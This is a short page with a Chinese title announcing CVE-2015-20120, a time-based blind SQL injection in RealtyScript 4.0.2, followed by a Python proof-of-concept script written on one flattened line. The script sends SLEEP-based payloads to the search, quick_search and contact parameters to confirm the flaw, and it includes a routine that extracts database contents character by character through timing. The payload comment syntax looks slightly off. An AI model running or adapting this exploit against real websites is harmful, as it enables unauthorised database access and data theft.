CVE-2015-20120: RealtyScript 4.0.2 多处时间盲注SQL注入漏洞

import requests import time # CVE-2015-20120 Time-based Blind SQL Injection PoC # Target: Next Click Ventures RealtyScript 4.0.2 # Vulnerable Parameters: search, quick_search, contact TARGET_URL = "http://target.com/search" def test_vulnerability(param_name, param_value): """Test if parameter is vulnerable to time-based blind SQLi""" # Normal request for baseline timing start = time.time() normal_response = requests.get(TARGET_URL, params={param_name: param_value}) normal_time = time.time() - start # Time-based payload with 5 second delay sql_payload = f"{param_value}' AND SLEEP(5)---" start = time.time() vuln_response = requests.get(TARGET_URL, params={param_name: sql_payload}) vuln_time = time.time() - start if vuln_time > 4: # If response took >4 seconds, likely vulnerable print(f"[+] VULNERABLE: {param_name} parameter") print(f" Normal time: {normal_time:.2f}s") print(f" With SLEEP(5): {vuln_time:.2f}s") return True return False def extract_data_via_blind_sqli(param_name, query): """Extract data using time-based blind SQL injection""" extracted = "" for pos in range(1, 50): # Max 50 characters for ascii_val in range(32, 127): payload = f"test' AND (SELECT CASE WHEN (ASCII(SUBSTRING(({query}),{pos},1))={ascii_val}) THEN SLEEP(2) ELSE 0 END))---" start = time.time() requests.get(TARGET_URL, params={param_name: payload}) elapsed = time.time() - start if elapsed > 1.5: extracted += chr(ascii_val) print(f"[*] Extracted so far: {extracted}") break return extracted # Example usage if __name__ == "__main__": print("[*] Testing CVE-2015-20120 - RealtyScript Blind SQLi") test_vulnerability("search", "test") test_vulnerability("quick_search", "test") test_vulnerability("contact", "test")